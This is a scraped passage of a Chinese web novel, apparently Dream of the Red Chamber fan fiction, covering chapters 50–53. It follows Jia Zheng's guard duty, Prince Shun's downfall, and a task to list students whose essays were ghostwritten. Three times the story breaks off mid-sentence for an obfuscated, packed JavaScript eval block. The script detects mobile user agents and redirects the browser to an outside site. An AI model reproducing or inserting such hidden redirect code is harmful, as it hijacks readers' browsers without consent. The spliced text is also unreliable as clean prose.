贾政见这人还能笑出来,便知他对王妃已经没有半分感情了,在某些方面两人也算同命相连,心里不免又亲近了几分。 两队羽林卫前往乾清宫,沿路巡视布防,通知宫院内外等待接驾。 这边刚布置好,龙辇便到了,皇上连正殿都没进,直接坐在殿外的廊檐下,看样子是在等什么人。 冯队长赶忙带领手下来到乾清宫的院门前,把守在甬道两侧,另一队则守在前殿外围,其余三队各据一方,把前廊下围了个水泄不通。 左一小队被安排在乾清宫的院门前,今日执守乾清门的监门卫首领正是治国公府的马尚德,他俏皮的对贾政眨眼,神态很是亲近。 贾政也笑着回眨,圣寿宴那天就发现马尚德与老爷很是亲密,那他就要把这层关系维护好了。 江离发现贾政认识马尚德,立即用眼神发出询问讯号,问他发生了什么事,为何子时都过了,皇上还要回乾清宫。 马尚德微微摇头,表示自己也不清楚,他们还是接到回防的羽林卫通知,才知道皇上要回来了。 包武紧盯着乾清门外,八卦的小火苗在眼中燃烧,最先等来的却是送冰的内务府官员。 冰车先交到监门卫手中,检查过后才由贾政几人推到御阶前,再有内监端着冰盆过来盛冰,摆在皇上的龙椅前后。 贾政借着月光抬眼偷看皇上,发现他并没有想象中的愤怒或急切,而是悠闲的用银筷拨弄手里的琉璃缸,把缸里的小鱼拨拉得团团转。 皇上也看到贾政了,笑道,“我恍惚听说你病了,怎么还来当职啊?” 贾政不敢隐瞒,躬身回道,“臣只是气着了,还没到一病不起的程度。” 皇上呵呵笑道,“年轻就是好啊,哎,贾代善跟朕一样糊涂,连给儿子找媳妇都能出岔子。” 贾政窘着脸回道,“知人知面不知心,是外人有意欺瞒,怎么能怪皇上和父亲呢。” 皇上叹道,“是啊,人心隔肚皮,连亲自养大的孩子都看不清他在想什么,何况是别人家的。” 贾政听得心惊肉跳,难道是太子或其他两个皇子出事了不成?这瓜虽大,可它烫嘴啊。 50.第五十章 御弟 乾清宫外静的落针可闻,所有人都在心中祈祷,千万不要碰到父子相残的皇家秘事,他们不想被灭口啊。 左一小队退回到乾清门前,这回连包武都不敢眼神乱飘了,不知过去多久,一阵轻甲相碰的铿锵声从远处传来,京营节度使牛大人带领五城兵马司的官兵停在乾清门外。 牛大人上前一步,高声道,“臣牛速觐见。” 马尚德走出班列,先向牛大人拱手见礼,而后大步走入乾清门,来到御阶前向皇上禀报京营节度使求见。 不多时他就带回了准见口谕,又和两名手下上前搜身,确定没问题了,才带领牛大人走入乾清门。 贾政当职这些天都是在外围转悠,还是头一次目睹官员面圣的场景,其谨慎繁琐令人咋舌,相比之下御前侍卫接近皇帝却是日常,说的话做的事也很容易留下印象,难怪人人都羡慕他们。 这时耳边响起队友松口气的声音,贾政顺着他们的目光看过去,乾清门外众多轻甲士卒当中站着一位青年,正是在圣寿宴上见过的顺亲王。 他身着华服,神色慌乱中透着绝望,丝毫不见宴会上意气风发的骄狂样子,看来犯的事不小啊,才会在深夜被牛大人压到御前。 贾政也松了口气,不是父子相残的戏码就好,顺亲王再尊贵也只是皇上的弟弟,自幼被养在王府,手上没权没人,比闲散宗室也强不到哪里去。 皇上用他犯下的罪行处置他,任谁也挑不出毛病,更不会牵连到他们这些无辜的人。 牛大人进去不久,又折返回来亲自押顺亲王到御前,那边说了什么门口附近听不太清,只看到皇上丢下几本奏折,顺亲王先是抖如筛糠,再跪地磕头,哭嚎声震天响。 皇上大概是觉得震耳朵,不耐烦的挥手命人拖他下去,顺亲王像死猪一样被人架起,一路哭喊着拖出乾清门,他最后喊的话倒是听清楚了。 “我才是先帝嫡子,凭什么是你这个庶出登上皇位。” 贾政在心中嗤笑,就凭人家在先帝过世时已经二十多岁了,而你只是个才五岁的小屁孩。 若是虞朝到了中后期,肯定会有很多人愿意支持他登上帝位,这样才方便外戚专权,权臣当道。 可先帝过世时才开国二十多年,顶层权贵尚未完全腐蚀,又打仗打怕了,只有扶持成年皇子坐上皇位,才能保证所有人都有安稳日子可过。 处置完顺亲王,皇上又命摆驾琦年殿,还让人去教坊司宣乐师到御前伺候,思维跳跃到内相苏诚都懵了一瞬才反应过来,大半夜的听小曲儿,也不知皇上是怎么想的。 担任巡职的两个大队再次开路布防,通知琦年殿准备接驾,苏诚派内监到教坊司传人,又去御膳房传宵夜,皇上总不能干听小曲吧,总得备上几壶御酒和十几样下酒的小菜才行。 皇帝一道命令,御前侍卫和内监都忙到飞起,等把皇帝送到琦年殿安置好,教坊司的乐师和酒菜也备齐了,他又不想听了,只命两个弹古琴的抚几段舒缓小曲,为他老人家助眠。 贾政站在殿外,听了一宿古琴曲,也不知皇上是睡不着,还是睡着了乐师也不敢停,漆黑的宫殿配上悠长的乐曲,听得他汗毛倒竖,和丁全思背靠背站着,生怕有东西突然从黑暗里跳出来。 天边泛起肚皮白时古琴声总算停了,也到了交班时间,贾政不想在营里待着了,解散后直奔西安门,还是回家睡觉更舒坦。 到家时老爷正要去上朝,贾政快速说了昨晚的事,贾代善却丝毫也不惊讶,冷笑着说知道了,便出门上朝去了。 贾政不明白老爷为何一点反应都没有,那可是皇上的亲弟弟顺亲王吔,他还说出了近乎谋逆的话,老爷未免淡定过头了吧? 贾母才不管朝堂上的事,顺亲王与自家既不沾亲又不带故,是死是活有什么相干。 她戳着儿子快换衣服用早膳去,“可别再像昨儿那样晕倒了,我差点被你吓死。” 贾政赶忙认错,“昨儿是热得人头晕,我才会忘记吃饭的,今儿凉快多了,厨房学会虾饺了没,我正想吃那个。” 贾母笑道,“学会了,虾饺味道虽好,照着食谱做也没什么难的,甄家送来的食谱里有十几道菜呢,其中一道叫茄鲞的,那才叫琐碎精巧。我在甄家曾吃过,味道正合我胃口,只是抹不下脸问方子,谁想到人家竟主动送来了,要不说还得是老亲贴心会疼人,偏他家不知谨慎,我们也不敢太亲近,唉,总之你先去换衣服,我这就叫人把早膳送到你院子里去。” 贾政没想到大名鼎鼎的荣国府招牌菜竟是从甄家学来的,茄鲞的做法何止琐碎精巧,分明是败家好吧,鼓捣到最后连茄子味都吃不出来了,那还放茄子干嘛? 他坏笑道,“换个角度想,甄家之所以把茄鲞写在食谱里,会不会是他们早就发现太太喜欢吃了?太太不如跟全家印证一下,那食谱里的十几道菜,应该都是我们在甄家赴宴时吃到过,并且爱吃的。 甄家老太太喜欢开宴请客是出了名的,京都但凡有头有脸的人家他们都请过,连客人喜欢吃什么都留心,那众人的穿着,习惯和说过的话,想必也是记得的,把每人每家的言行举止录成册,京都所有人在甄家面前都要无所遁形了。” 贾母通体冰寒,抖着嘴唇道,“怎,怎会如此?他们这么做的目的又是什么?难道是三,三……” 贾政没想到太太会吓成这样,他被小曲吓了一晚上,就起了促狭之心唬太太玩儿,没想到真把人吓着了。 他拉着贾母的手,安慰道,“那是甄家的事,他们家除了依附皇上和三皇子,早就没退路了。我们家却不同,皇上信任老爷,哪个皇子坐上那位子也与我们不相干,太太尽管放宽心。” 贾母哪能看不出儿子是在安慰自己,垂泪道,“我跟老爷都这把年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081633|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪了,即刻死了也没什么好缺憾的,可你们还这么年轻,我的儿啊,你们千万要谨慎,不要出事啊。” 贾政心里发酸,连连保证他们会保护好自己的,才把太太安抚好。 回到翠香堂,贾政久久难以平静,不论原著和书友如何评价贾老太太,她的爱子之心都不是做假的,也正是这份母爱让他无法排斥新家人,融入速度之快连自己都觉得惊讶。 贾政轻笑,抓住贾珠伸向虾饺的小手,自从吃过肉松拌饭,这小子就盯上了大人的饮食,看到什么都要咬一口,也不想想他才长出两粒芝麻牙,哪里咬得动哦。 贾珠啊唔直叫,指着虾饺流口水,馋得小身子都快扑到桌子上了,贾政抱着他,命人拿擂钵来,把虾饺捣碎喂他吃。 贾珠抓着银匙吃得吧唧吧唧的,还嫌爹爹喂得慢,直接用小手从擂钵里抓,吃得满脸都是油花。 贾政看着贪吃的儿子发愁,小孩子不吃饭会让人揪心,可太能吃也不是好事吧? 晚上来到侍卫营,他还在想这个问题,抬头看到养了仨小子的洪亮,立即跑过去跟他讨论育儿经验。 洪亮别看长得五大三粗,当爹比贾政还尽职,听说贾珠才五个多月胃口就好得很,可把他羡慕坏了。 “我家小子像珠儿这么大时就只盯着奶娘,给他们啥都不肯吃,奶牙长得也慢,好容易到两三岁时才吃得多些。” 包武也凑过来,小声道,“小孩儿,尤其是男孩儿,小时候千万不能喂得太胖,否则就只长肉,不长那地方了。” 周围想起一片抽气声,可见有多少听闲话的,包武的话让人心惊,都问道,“你打哪儿听来的?可做得准么?” 包武摇头,“我哪知道做不做准,我家邻居前儿闹出媳妇偷汉子的丑事,那媳妇泼辣得很,被抓住了还振振有词,说她家男人跟个蚕豆似的,不偷汉子难道要绝后吗。看热闹的人里面有个游方道士,就问她汉子是不是打小就胖,众人问起缘故,他就说男孩太胖确实不长那东西。” 所有人都沉默了,悄悄把视线往大队长下身挪,冯队长立时就恼了,吼道,“看什么看,老子小时候不胖。” 众人又默默收回视线,那谁知道呢。 冯队长这个气,当职时还鼓着腮帮子,连皇上都看出来了,问他是出了什么事才会气成这样。 冯队长不敢隐瞒,抽着嘴角把听到的闲话复述一遍,这下又换成皇上抽嘴角了。 “老三,打小就胖,现在也不瘦。”这就是他一直生不出孩子的原因么?皇上突然有了扒儿子裤子的冲动。 冯队长也窘窘的,在心里大骂手下不靠谱,没事说这些做什么。 君臣正相顾无言,就有人报说违规进入国子监的荫生俱已归案,牛大人请皇上示下,交与哪个部门审理。 皇上想了下,道,“贾政在哪里,叫他来回话。” 51.第五十一章 差事 贾政正在殿外回廊上跟鹦鹉大眼瞪小眼,全身火红的大鹦鹉是太子在圣寿宴上进献的寿礼,皇上赐名火凤,新鲜几天就嫌它吵,一直养在广寒殿内。 平日殿里人少,火凤也没条件闹腾,这几天皇上住在广寒殿,它就开始人来疯,已经啄伤好几个内监了。 贾政巡视到附近,正赶上它在发疯,扑到一个小内监身上猛啄,内监不敢对瑞兽动粗,只能抱头蹲在地上,任由一只鸟欺负。 贾政教训家里那只鹦鹉习惯了,想也不想就上前掐住火凤脖子,提到廊下的架子上用金链锁了才松手。 火凤在羽毛长齐后一直被人捧着,头一次遭到这么粗鲁的对待,它又怕又怒,想攻击又担心被掐脖子,只敢恨恨瞪着贾政。 贾政也没别的事做,就瞪回去逗鸟玩儿,内监跑过来说皇上召见,他还当有人想整自己,跟江离打声招呼,就去找卫胜青询问是怎么个事。 卫胜青和几个分队长都守在正殿外,见贾政来了,他赶忙走上前小声嘱咐,让他在御前回话要谨慎,宁愿装傻也不能信口胡言。 此时贾政才敢相信真的是皇上要召见自己,他整理衣冠,把绣春刀交给卫胜青,才随内监走入殿内。 皇上正靠在窗前的罗汉塌上翻书,身后立着三盏硕大宫灯,面前还摆着冰盆,上面的水晶盘里盛满了鲜果,冯队长和其余两位大队长都守在墙角,因贾政不是外人,便没摆出防备的姿态。 皇上今早起晚了,子时都过了依旧很精神,见走入殿中的贾政身姿挺拔,神清骨秀,不禁感慨贾代善会养孩子,要论长相,自家四个孩子中只有老五能与之比较一二了。 他柔声道,“不用见礼了,你坐下,朕有事问你。” 贾政哪敢不见礼,还是长揖到地,才在内监搬来的脚踏上坐了,也只敢搭半个屁股。 皇上也不废话,直接问道,“你也曾是国子监的荫生,可发现同窗之中有比较特别的人么?” 贾政没想到皇上会在大半夜提到国子监,他想了下,你别说,还真有。 “我们西堂有六个班,别的班我不了解,我们班确实有两个人不大一样。皇上是知道的,我们这些荫生进国子监都是奔着磨性子,混资历去的,鲜少能在科举上有所建树。那两人却不同,诗书文章并不比东堂的监生差,有一个还有举人功名,我之前一直好奇他们为何会在西堂混日子,还是跟柳节谢鲲戚建辉和吴天佑他们聊天时才知道,他们是被人故意送进我们西堂的,为的是用帮我们应付功课的办法换取人情。” 皇上轻笑,这傻孩子回话时还不忘带上朋友,这是多担心他记不住他们啊。 他笑道,“跟你玩得好的人里,不是还有林家小子么。” 贾政之所以会提到柳节他们,就是想在皇上这里挂个名,要用人时也好想起他们,林如海就不用这么麻烦了。 他得意道,“我妹夫文采风流,肯定会在考场上大放异彩的。” 皇上呵呵笑道,“如海文采好,你不嫉妒吗,就没请那两个同窗也为自己写篇好文章,也省得你爹时常拿你和林小子做比较,气不过锤你。” 贾政摇头,“天底下能人多着呢,我嫉妒得过来么。老爷也不会因为我功课不好就锤我,但请人代笔那性质可就变了,要是老爷发现我弄虚作假,肯定会把我屁股打开花的。” 皇上含笑点头,很认同贾代善的教育理念,读书要看天分,好坏都无所谓,孩子的品性才是最要紧的,容不得半点差池。 “你叫上谢鲲几个,把你们班与那两人有牵扯的都列出来,名单就交给……忠敬郡王吧。他比你还大半岁呢,月末就要正式出宫开府,也该担些事了。” 贾政起身领旨,直到退出殿外,心里还砰砰的跳。 一方面是为朋友们高兴,虽没有正式旨意,但皇上愿意指派事情给他们做,就代表已经记住他们了,只要这件事办得好,不愁没别的差事做。 另一方面也是为司徒衡担心,他的王妃刚做出私下授官之事,朝堂上还没个明确说法呢,皇上就派他出来做事,不会遭到非议么? 不管怎么说,皇上指派的事必须得办漂亮了才行,下差后贾政就打发小厮去各府请人,哥儿几个别睡了,也别上课了,办好了皇差比什么都强。 他回到家,拉住要出门上朝的老爷,把自己和皇上的对话复述一遍,免得老爷御前奏对时说岔了。 贾代善哈哈笑着拍了几下儿子肩膀,“知道了,你办你们的事去吧,我出不了岔子的。” 送走老爷和贾赦,贾政又命厨房准备早膳,摆在湖光榭等待谢鲲他们到来。 第一个来的是离得最近的柳节,进了湖光榭就嚷嚷道,“你这么早把我叫来干嘛呀?柳绿那小子只说有顶顶要紧的事,必须马上过来,我问什么他都不说,咋啦,你要拉哥儿几个造反吗?” 贾政笑骂道,“别胡吣,你但凡多想一步,也不会糊里糊涂的跑过来。我今早刚当过职,这会儿连觉都顾不得睡就把你们叫来,你说能是什么顶要紧的事?” 柳节脸色一凛,做贼似的左右看看,见没有外人才小小声道,“是上头派了秘密任务给你?” 贾政笑着点头,拉他坐下,也小声道,“是有秘密任务交给我们。” 接着他又把与皇上的对话重复一遍,柳节屏声息气的听完,兴奋得想大笑又怕外人听见,只能手舞足蹈,满屋子乱转。 随后到来的谢鲲戚建辉冯唐和吴天佑几人也是同样的反应,除了林如海能镇定些,其余人都高兴成了孙猴子。 京都的世族子弟何止千万,除了贾政这样的顶级大贵族,其余人想让皇上记住名字都难,更不用说点名指派差事了。 几人都向贾政拱手道谢,要不是他仗义,把他们的名号递到御前,这辈子能否直面皇帝一次都很难说。 贾政摆手,笑道,“没什么好谢的,只我一人也接不到这差事,我们先用早膳,再商量怎么办这件事吧。” 林如海也点头道,“先冷静一下,你们西堂就那十来个功课还不错的,与他们有关联的人我都知道不少,你们慢慢思索,肯定能想起来更多。” 柳节几人也觉得有道理,坐下用早膳时发现还有惊喜,冯唐指着虾饺,惊讶道,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091132|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个能爆汁的虾饺,是甄家的招牌菜吧?他们把厨子送给你家了?” 贾政摇头,将陪皇上去甄家的经过说了一遍,把兄弟几个吓得脸都白了,都替贾政捏了把冷汗。 吴天佑拍着胸口叹道,“还好没出事,甄家的胆子也忒大了。” 贾政苦笑,“还有更吓人的呢,太太昨儿就对照过了,甄家送来的食谱里面全是家里人喜欢吃的,他们了解我父母和大哥的喜好不稀奇,连只接触过两三次的我和小妹的喜好也一清二楚,就有点吓人了。” 林如海抽了口气,“你是说,甄家是借助请客宴会,暗中观察各家的秉性喜好?” “不会吧?”柳节他们同时惊叫,甄家人要不要那么有心机啊? 冯唐都快哭了,“我年纪还小呢,哥哥们还能想个法子外放出去,我可怎么办哦。” 贾政叹气,“那我不是更没办法了,顺亲王被关起来了,你们知道吧,前儿我亲眼目睹的,差点吓尿了。” 兄弟们都同情的看着贾政,在御前当差,风险和收益是对等的,贾政一个人担着风险,把收益都给了他们,天底下还有比他更好的兄弟么。 林如海笑道,“放心,顺亲王犯再大的事也牵扯不到旁人。” 大家都瞪圆眼睛看着他,催促道,“你知道什么?快说快说。” 林如海压低声音,“我老爷是因为帮忙对顺亲王府和那家赌场的账,才知道一些内情的。” 接着他就把从林侯那里听到的消息说了一遍,先前是因为周瑞抢赵家的地,他们陪贾政去赵家庄缉拿恶奴,又回城调查与之相关的赌场。 那家赌场正如他们预料的,与很多人家的管事有牵扯,连不少宫中内监都是赌场常客,明面上是赌场,暗地里干的却是为奴仆洗白资产的勾当。 这件事报到皇上面前,皇上便命顺天府联合五城兵马司和通政司审理,最终查出赌场的幕后老板正是顺亲王。 贾政都被顺亲王的脑洞整不会了,好笑道,“顺亲王该不会是想勾结下人和内监,再通过他们控制京都各府和宫里吧?” “呃,还挺有想法的哈。”戚建辉也不知说什么好了,用奴才控制主子,不能说完全不靠谱吧,作用也很有限就是了。 柳节不屑的嗤了声,“内宅妇人手段。” 谢鲲笑道,“顺亲王不过是一介闲散宗室,连比他小的太子都参与朝政了,他还整日斗鸡架鸟的晃悠呢,能有多大的本事就奇怪了。” 林如海摇头,“只这点手段确实不够看,要不是通政司的薛主事从江南带回了证据,谁也看不出他藏得有多深,顺亲王不仅插手海外贸易,他还有胆子贩私盐。” 贾政抽了口气,“他在贩盐养私兵?” 柳节几个也被吓到了,异口同声叫道,“不至于吧?” 养私兵可是要九族,嗯,顺亲王不能夷九族,但他本人肯定是活不成了。 林如海笑道,“养私兵是下一步,贾伯父镇守江南十多年,之前他没胆子捻虎须,也就插手海外贸易赚点辛苦钱,私盐生意刚起步三四年,还没那么多财力养私兵呢。” 52.第五十二章 见面 贾政心里狂跳数下,先前有老爷镇守江南,顺亲王有贩私盐养兵的想法也只能忍着,如今江南大总管变成了甄应嘉,难道皇上就不怕他走上顺亲王的老路,用私盐收敛钱财,助三皇子夺嫡么。 林如海发现贾政脸色不好,略一思索就明白他在想什么了,吓得他筷子差点托手,在冯唐看过来时强笑着将话题引到正事上,带大家回忆那两人都替谁做过文章。 几人你一言我一语,不仅把本班经常找人代笔的同学全想了出来,另外五个班也说出不少。 他们之中,入国子监最晚的就是贾政和冯唐,柳节他们在监里混了好几年,不说对所有同窗都了如指掌吧,惯常爱嘚瑟的都有哪些人也是心里门清,结合几人的记忆把他们全部揪了出来。 贾政按照整理出来的名单,亲手抄写奏折,西六堂只有不到两百名学生,这上头就有四十多个,其中几人还是原身羡慕嫉妒的对象,原来他们的文章都是找人代笔的,原身白生气了。 写好奏折,他摇头道,“这些人也不知图什么,平时功课再好有什么用,季考时还不是要原形毕露。” 林如海轻笑,“季考成绩和排名只能本人查看,又不会公布出来,文章却能时时拿出来炫耀,彰显自身不俗,那些人焉有不动心之理。” 贾政身为顶级大贵族,天生自带光环,不用做什么也是人群中的焦点。 那些出身官员之家的荫生却不同,面对平民他们可以高高在上,在大贵族面前就成了根基不稳,随时会跌下云端的普通士族,不在某些方面找补一下,只怕连走进国子监的底气都要没有了。 谢鲲冷哼,“不过掩耳盗铃罢了,同窗几年,谁不知道谁啊,那几个代笔的八成也是顺亲王安排的,他们牵涉其中,就等着倒霉吧。” 冯唐苦笑道,“顺亲王只比太子大几岁,就是个被皇上当小猫小狗养大的闲散宗室,长脑子的人都不会投到他麾下。接下来那几位才是最要命的,政哥接触忠敬郡王时要小心,千万别着了他的道。” 贾政点头,“放心,我接触过忠敬郡王几次,以他清高自持的性格,做不出强拉人入伙的事。” 林如海也赞同道,“他背后是前朝传承至今的读书世族,与我们勋贵世族格格不入,拉二哥入伙就相当于把沸水泼进油锅里,他是不会做出这等蠢事的。” 贾政在心中叹气,司徒衡那人什么都好,就是外戚的包袱太多太沉了,那些人还以为凭自身实力能助他登上皇位,却不知正因为有诗书世族的存在,才让司徒衡举步维艰,彻底绝了他继位的可能。 叫来外管事,命他送如海他们去城外的会仙山庄,那里有专为四王八公准备的客院,之前他就说过要带兄弟们休沐时去玩儿,结果两边时间总也对不上,今天刚好赶上了,当然要去耍一天。 林如海走之前嘱咐贾政也快点过去,不要在忠敬郡王府待太久。 贾政嗯嗯答应着,心说他想留也不行啊,司徒衡还没正式开府呢,顶多在郡王府待半天,处理完府内事务就得回宫,要不是时间太赶,他也不会早早就把朋友们叫来。 驱车来到城西的忠敬郡王府,王府在西安门的斜对面,大嫂送给贾政的小院子就在王府的后街上,这里是前朝某位亲王的府邸,因本朝没有适合居住的人,就一直空置到了现在。 此时王府的五间大门上还未正式挂匾,贾政下了青油车,只带松烟走上台阶,将拜贴交给站在门前的守卫,不到片刻就有人打开侧门,迎贾政入内。 开门之人中等身材,长脸笑眼,面白青须,像个成了精的倭瓜。 他笑眯眯的自我介绍,“下官方止,忝为郡王府右长史,王爷一早接到圣上指派,就命小的在门口等着二爷呢。” 贾政拱手笑道,“有劳方长史了。” 方长史笑得见牙不见眼,“不敢不敢,能为王爷和二爷效力,是下官的荣幸。” 贾政心说这人还真能舍得下身段,郡王府长史也是朝廷的六品官员,有必要在同为六品的他面前如此谄媚么。 两人谦让着往王府里走,这府里空了几十年,只修缮不到一个月就焕然一新了,可见当初建造时多舍得下本钱。 方长史一路走一路向贾政介绍王府建筑,司徒衡受封的虽是郡王,但亲王府的规制却半分未减,包括府内官员也是按亲王府配置的。 文职的长史司以正五品左右长史为首,有下属官员近五十名,武职的指挥使司下辖官兵共五百人,内官的承奉司有内监宫娥近八百人。 王府内部社稷坛,家庙,三司衙门,前殿和后宫院一样不少,相当于一个微缩版的小朝廷。 贾政心里微窘,心说他又不住在王府,跟他说这么详细做什么。 经过两重仪门,进入王府的核心院落,前面是用于办公的承运殿,后面是王爷起居用的存心殿。 司徒衡正在存心殿后面的花园水阁里等着,注视着缓缓走来的人,贾政一改往日的英武装扮,长袖方巾,顾盼神飞,飘逸若仙,好似一阵风就能带他飞走了。 司徒衡不禁站起身,亲自迎到水阁阶前。 贾政也看到他了,一袭玄色香云纱衬得司徒衡面如冠玉,眼波盈盈,看得他心中猛跳。 方长史送贾政走进水阁,便躬身退下了,绕过水阁才抬起袖子抹了把脸,心道好险,幸亏早察觉出王爷每次提起贾二爷时语气都有所不同,刚才没敢怠慢了他,否则就凭王爷看贾二爷的眼神,人家歪歪嘴他就生死难料了。 司徒衡扶住欲行礼的贾政,“你快坐吧,喝盏茶散一散,走这一路热坏了吧?” 贾政拱手谢坐,接过内监送上的湿帕子,擦掉脸上的汗才呼了口气,“昨儿明明凉快些了,也不知要热到什么时候是个头。” 司徒衡亲手倒茶给他,笑道,“热些没什么不好的,皇上住在琼华岛上,你们也能免去晨训午训,在家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097045|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里多休息一阵。” 贾政苦笑道,“也就这点好处了,你住的东五所可热么?” 他倒不怕司徒衡会热着,主要是担心小郡主才几个月大,又不敢给她用冰,住在四面不透风的宫墙里,小娃娃指不定怎么遭罪呢。 司徒衡轻笑,很神奇的看懂了他暗藏的想法,“我把郡主送去皇后娘娘的坤宁宫了,这几日跟娘娘在琼华岛后面的含风殿住着呢,娘娘养了几日,就不舍得还我了。” 贾政也笑了,“我家那小子也是交给祖母带的,祖孙俩也好做个伴儿。” 说着,他从袖袋里拿出写好的奏折,双手捧给司徒衡,“这是我和林如海他们共同想出来的名单,这些人都是家里惯出来的娇少爷,找人代笔也不过是纵性胡闹罢了,谁能想到有人会把手伸进国子监里呢。” 司徒衡翻看奏折,摇头道,“国子监是国学,亦是天下读书人的圣地,他们仗着家世进去读书便罢了,竟然还敢胡闹,也算作到头了。” 贾政愣了下,他以为这些人顶多自身无法捐官,听司徒衡的意思,难道还会牵连到家人身上不曾。 见贾政愣愣看着自己,司徒衡柔和下表情,轻声道,“顺亲王做下的事可大可小,按皇上平日的脾气,本应该大发雷霆当场把他发落了,可皇上的样子你也看到了,他平静得就像什么事都没发生一样,谁也弄不清他心里在想什么。我只求你不要牵涉其中,至于这些人,就让他们自求多福吧。” 贾政的脸有些烫,避开他的视线,问道,“那你呢,通政司的事还没个定论,朝堂上不会为难你吧?” 司徒衡笑道,“放心,皇上既然罚过了,就没人再敢抓着我不放。过去我与王妃不睦,朝堂上还颇有微词,以后即便我休妻,也不会有人反对了。” 休妻? 贾政看着司徒衡含笑的双眼,突然明白了他的想法与自己是相同的。 休妻再娶一个也未必就比前面的好,留下犯下大错的妻子,既在外头全了脸面,又有理由剥夺妻子的全部权力,独揽家中大权,何乐而不为呢。 司徒衡轻笑,就知道贾政能懂自己的心思,他柔声道,“趁热气还没上来,快回家去吧,府后的东角门正对着你的小院儿,开府以后我就让人把东边三个相连的大院打通,你也想一下喜欢什么样的院子,有了主意才好让人去修。” 啥意思?打通东边改成他喜欢的样子,司徒衡这是打算金屋藏他啊。 贾政又羞又窘,上了青油车脑子还乱糟糟的,分不清在想什么,只肯定他不反感司徒衡暗藏的意思,甚至说不出拒绝的话。 这是,老房子要着火了?可就不能找个普通人么,跟皇子眉来眼去,怎么想怎么危险啊。 松烟一直跟内监站在水阁外面,听不清里面说了什么,还当二爷被王爷惹恼了。 他也不敢问,一个劲挥鞭子让骡子走快些,把二爷交到姑爷手上就没自己的事了。 53.第五十三章 获罪 会仙山庄位于京城以西,比皇家园林畅春园更接近西边山脉,占地十分广大,可聚会宴饮,也能骑马打猎,是内务府所有在册皇商共同出资经营的。 为了提高身价和档次,会仙山庄在风景最好的地带为皇家和四王八公准备了专属院落,一应供给和服务都是最好的,随时恭迎他们去游玩。 往年贾赦都会在最热的时候过来住一阵子,今年他有了实差,再热也只能抱着冰盆续命,荣国府的院落快半年无人光顾了。 接到贾二少爷送来的几位朋友,负责贵族院落的薛管事差点痛哭流涕,亲自带人迎了出来。 他向几人各打了千,笑着迎他们入院,“几位爷来得正是时候,前儿刚到了高山乌龙茶,冷泡的味道极为醇厚,南北两头的果子也都下来了,院里已经备下了果盘,后院的温泉池子也刚刷洗过,爷们喜欢什么消遣尽管吩咐,这天底下的乐子就没有我会仙山庄拿不出来的。” 林如海几人笑着向薛管事回礼,“世叔不必费心,我们只是过来休息一天。” 谢鲲发现周围院子都有人马出入,好奇道,“除了我们,还有其他人家过来吗?” 薛管事笑道,“四家郡王府都有女眷在此消暑,理国公府的老夫人也带孙子孙女住了有小半个月了,大前天镇国公府的牛大公子也来了,我们山里凉快,要是再热一阵子,恐怕就要住满了。” 吴天佑叫道,“牛继宗在会仙山庄?我就说怎么在学里看不到他,原来早就自己跑过来凉快了,忒不仗义了。” “再不搬过来我就要热死在城里了,还仗义呢。”牛继宗的声音从院门口传来,几人回头看去,被瘦了好大一圈的同窗吓了一跳。 贾政到山庄时已接近午时了,柳节几人泡在池子里听小曲,林如海和牛继宗坐在竹林里讨论功课,年轻人凑在一起没那么多说法,见他热得满头大汗,就招呼他也到池子里泡着。 温泉在炎炎夏日也变成了凉泉,三十左右度的泉水既凉快又不会冰寒刺骨,再有一双柔荑按摩解乏,香茶鲜果佐上婉转歌喉,比神仙还要享受。 贾政含了粒冰镇过的葡萄,满足的叹了声,“不愧是会仙山庄,果真舒服啊。” 谢鲲压低声音问道,“那位没为难你吧?” 贾政好笑道,“他没事为难我干嘛?” 吴天佑嗐了声,“不是,谢兄的意思是他有没有威胁拉拢你,荣国府可是八公之首,他哪能不惦记呢。” 贾政窘了下,心说司徒衡想金屋藏他算不算拉拢呢。 他摇头道,“没有,他挺和气的,只字未提朝堂上的事,接过奏折就让我快些回家,别热着了。” 谢鲲几人都是一言难尽的表情,他们算是看出来了,贾政看人是只看好处不计缺点,只要别像王子腾那样明着跟他作对,大概在他心里都是好人。 冯唐弱弱道,“拉拢人都是从关心开始的,政兄还是小心点吧。” 贾政嗯嗯点头,“放心,我会保护好自己的。” 他就算跟司徒衡有什么,也会暗中进行,明着接近皇子不是找死么。 中午贾政叫了会仙山庄的上等席面,傍晚凉爽了,又招呼大家去山里跑马,晚上回来时被山风一吹,竟感觉有些冷了。 柳节纵马飞奔,大叫痛快,自入伏之后这天就像下火似的,他都快忘记冷字怎么写了。 贾政笑道,“横竖你们上学也是混日子,不如在山庄住下吧,再过几天回部就能到了,皇家猎场就在北边,说不定还能凑个热闹。” 